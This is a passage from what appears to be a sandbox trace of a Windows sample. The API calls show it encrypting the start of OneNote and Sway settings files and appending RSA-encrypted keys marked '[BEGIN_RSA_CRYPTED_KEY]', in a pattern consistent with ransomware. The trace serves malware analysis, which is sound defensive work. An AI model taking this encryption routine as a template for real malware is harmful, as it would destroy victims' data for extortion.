lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.907] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.907] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.907] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.907] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="oigs/lQKEycVrO9j5yBJ+/5CWI+WUueF0msZUr+V4SFDEpRFih+/k7cikpqWqQQa\nT09xSnESlu4ietWkZOI1qDZl0AGBEJ8sS16uohdzKUmSDqTZDyTBHKEzRTavliCJ\n2S4xqr84Xsjm/bMx8/STqz0SAuTX3az6j1IzlZCOGilrBmHe2XLiPJZhHnNne5bh\npefPx/R2ZoyxemphDIt6OmWKz+ckrpDN66S8tyvsGdHTlC6tYIE7lLRtSPta9Kh1\nRwhz6pMsro8oWkT25djY946JNrIKLJmEMZQXiEScyEdyjINvDyXGWMmQFKQ+TTGB\nFSrzlQcZeYkGrT5Nc8TZPg==\n", pcchString=0x2e3f9a8) returned 1 [0198.907] WriteFile (in: hFile=0xf1c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.907] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.907] WriteFile (in: hFile=0xf1c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.908] CloseHandle (hObject=0xf1c) returned 1 [0198.920] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.920] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0198.928] ReadFile (in: hFile=0xf1c, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.970] SetFilePointer (in: hFile=0xf1c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.970] WriteFile (in: hFile=0xf1c, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.971] SetFilePointer (in: hFile=0xf1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.971] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.971] WriteFile (in: hFile=0xf1c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.972] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.972] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.972] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.972] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8SJoqy+sDh+jHcjYGQy20MxM7Chxhn8uWbKeTUryIMh1xXUOHVXpUANpH/rAik91\nhM8P9AmfxUj7Rj5WLUb1JPiRM6sE+CGTFk6QkcehiJ6UJCgGeOAO5EmuElu0PymV\nBSf8odjh6HEpWPpPZPEOtc/H5NHP6hFEs7YtmK4OTv4TKW9d13DtkOnEHG2unhlN\nq2XvgwSSWiWy35Bk+z83tpQGGPxu++Y0VHS86nRoa9X8xsFItjqxXGce6+Jt9GMz\nKIXd2/12eAkWYsyOjU3nMAiPFf7Asc6p/+IPRNy2UnbozAZJ3zOWjxfB9HoEfwQ7\nAWie789pcVV46LdWrnRgeQ==\n", pcchString=0x2e3f9a8) returned 1 [0198.972] WriteFile (in: hFile=0xf1c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.973] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.973] WriteFile (in: hFile=0xf1c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.973] CloseHandle (hObject=0xf1c) returned 1 [0198.980] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.980] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0198.980] ReadFile (in: hFile=0xf1c, lpBuffer=0x59d1e0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.980] SetFilePointer (in: hFile=0xf1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.980] WriteFile (in: hFile=0xf1c, lpBuffer=0x59d320*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.980] SetFilePointer (in: hFile=0xf1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0198.981] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.981] WriteFile (in: hFile=0xf1c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.982] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.982] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.982] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.983] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OtErXirabvxS+ZfBHUeSdyyH+IzJy/P3rgdQldOakAv1sacvOnz2rIWQEM0VTTD/\nmiHUCHJB01useud2O5d27uAvTtt234XFHYW41C4pS0LjPFKtxox8/aOiizDsIWZu\nR+rasJLn5g8dShgdlMMrYeAkLw2j4BkriP5yaCsLuT7ZU7iDnV1TCACYpgqqs6sQ\nBIIRAEpeaVCGQ1eSC9oXsNJRhtkxvGPpIkGTTFaHsuFtFGKulqNT9HNY2G66AGHk\nhnQu5602PZ2w7rZ9o7b3sxqQqh2TMTB/IgGge9wzE6BS/Edjwws7nOOUE9F78FxE\nWMhKj8o2AjF7OV0obxB5Mg==\n", pcchString=0x2e3f9a8) returned 1 [0198.983] WriteFile (in: hFile=0xf1c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.983] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.983] WriteFile (in: hFile=0xf1c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.983] CloseHandle (hObject=0xf1c) returned 1 [0198.986] WriteFile (in: hFile=0xf28, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.987] CloseHandle (hObject=0xf28) returned 1 [0198.988] WriteFile (in: hFile=0xf28, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.989] CloseHandle (hObject=0xf28) returned 1 [0198.989] WriteFile (in: hFile=0xf28, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.991] CloseHandle (hObject=0xf28) returned 1 [0198.991] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.991] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0198.992] ReadFile (in: hFile=0xf3c, lpBuffer=0x59d2f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.992] SetFilePointer (in: hFile=0xf3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.993] WriteFile (in: hFile=0xf3c, lpBuffer=0x59d390*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d390*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.993] SetFilePointer (in: hFile=0xf3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0198.993] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.993] WriteFile (in: hFile=0xf3c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.994] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.994] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.994] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.994] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="WHx1NvQbo4B6K57ZetpA65vgAJXLO7jII25FGYK6EejLCm26d2qYNpwchnlnRWfq\nS0eS+7T2kuw6EWSNg2epdGux2gG9zTUrATD9pr33hlRPdreuFQLu61RNYn0odyk1\nwwZKc7ve1YFMTiyrX1psBn77mjp74EXSsj2kbW2dp3VMYwYIgIyWzTQ0NJ74N/En\nzwyNtU9z6EeLCttsiqnjyJ9nOaGN7HsvH6WVDZxdrrxJ0oQmVvwC5CoIX4357CIa\np7qOzj+1oN0emMJpbBLbLcIz23DHeVe/UAoIiAPUaEAO3Vandx4vExO5+k6AihYm\nmOEZ7aZxWCJS9pzZGORcHA==\n", pcchString=0x2e3f9a8) returned 1 [0198.994] WriteFile (in: hFile=0xf3c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.995] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.995] WriteFile (in: hFile=0xf3c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.995] CloseHandle (hObject=0xf3c) returned 1 [0198.997] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.998] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0198.998] ReadFile (in: hFile=0xf3c, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.014] SetFilePointer (in: hFile=0xf3c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.014] WriteFile (in: hFile=0xf3c, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.014] SetFilePointer (in: hFile=0xf3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.014] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.014] WriteFile (in: hFile=0xf3c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.015] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.015] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.015] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.015] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="guq3incazTO91aq/AKWr6rHNQ5k+uY6HKN18SNdisckjU9ZyIKZIMzXf9RpW79a7\ny0KNOq0PmJn5ptmzuDjd+d83nhquiYNZDXrYiXiWfIrmyDFarTieaHORAWxkpuC0\n62MYODeCkk6/z9MipgZXNrS2k5tqvbKFtaNxpPdlZcOT/V0+3QjMjNcCCFswVtcn\nR+eDQZeyurZfZNwzLBa6u3mAJK8k+g4RWoHtGq5Wuxfo9yHZL193uBtDaoLooolD\nyxcz1/1C8hX0aiiuH6REO3r8oufRa7Grhcl7Gsygnf21s1cbj/aDUiZWlz05Knxa\nWtwle+8WSbFeeAtHqmN4Vg==\n", pcchString=0x2e3f9a8) returned 1 [0199.015] WriteFile (in: hFile=0xf3c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.016] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.016] WriteFile (in: hFile=0xf3c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.016] CloseHandle (hObject=0xf3c) returned 1 [0199.018] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.018] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0199.019] ReadFile (in: hFile=0xf3c, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.031] SetFilePointer (in: hFile=0xf3c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.031] WriteFile (in: hFile=0xf3c, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.032] SetFilePointer (in: hFile=0xf3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.032] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.032] WriteFile (in: hFile=0xf3c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.032] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.032] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.033] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.033] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="gkzKZCTYzgDNlzIdE+YKv6ucZzsjduA51KNG0LryRsLgZ94SQLTiHa7sMYG/Dcgo\nxpOCXw2XZXppCkNVWL1XyepmXXiyK7CB4XM0yiaUPcv6mAjb3hfkds2wUUCJ9jMH\nHYquZK8YW7oYel0tXKcJJUywWFtNiXxNhHqpgH+O6cai2sfTh/elIT/T07wgAa+O\nrkkc5ZivzoCz3PWGWt5ZBSglNtT8v3mKuzsXRbabcjVT8W/VwCr8z5W/ltElr5Fc\nsuaV5E1Drc3KC8foGXm9Zqu5znJijdztZ5h07d84r2uq35X2tR/CaBV6lBzATo2l\nG3jgDzdfqre7JhcohcFaqg==\n", pcchString=0x2e3f9a8) returned 1 [0199.033] WriteFile (in: hFile=0xf3c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.033] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.033] WriteFile (in: hFile=0xf3c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.034] CloseHandle (hObject=0xf3c) returned 1 [0199.037] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.037] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0199.037] ReadFile (in: hFile=0xf3c, lpBuffer=0x59d370, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.037] SetFilePointer (in: hFile=0xf3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.037] WriteFile (in: hFile=0xf3c, lpBuffer=0x59d320*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.038] SetFilePointer (in: hFile=0xf3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.038] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.038] WriteFile (in: hFile=0xf3c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.039] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.039] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.039] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.040] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="MkbiZUUP0Z8o4TLlaJxX4lV/qWHBHiQ7OCq7aehxEWXvAVFxwNA1Uzkf1DZNFDHg\nGPpZzdx4DnjQrA2ZQvuT+dE+p0i9kjZWg5tMDjEz53+sXzj+7TKQmbRMKCmMEebc\nYCcvgRFfj+bV0C7aWufS9A2nsWpTY0NKdEyl+uOzWx91rL+chWaOq4stqK4mByqC\nVvgSW6HV8BqsaWsvSiAQKr1d56DRDrXpeOTE7pcUDWyjP7cc7HsEiMlonw3HBmVP\nGIyOo+V4dYuZ5oXWR+8rMq8Xs2eb2dIA2tQDmlEkVMBEE/p16eNXNGLLqT6O5reJ\nVeIRrwq7+11x2KKqddXoFg==\n", pcchString=0x2e3f9a8) returned 1 [0199.040] WriteFile (in: hFile=0xf3c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.041] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.041] WriteFile (in: hFile=0xf3c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.042] CloseHandle (hObject=0xf3c) returned 1 [0199.046] WriteFile (in: hFile=0xf48, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.047] CloseHandle (hObject=0xf48) returned 1 [0199.048] WriteFile (in: hFile=0xf48, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.049] CloseHandle (hObject=0xf48) returned 1 [0199.049] WriteFile (in: hFile=0xf48, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | 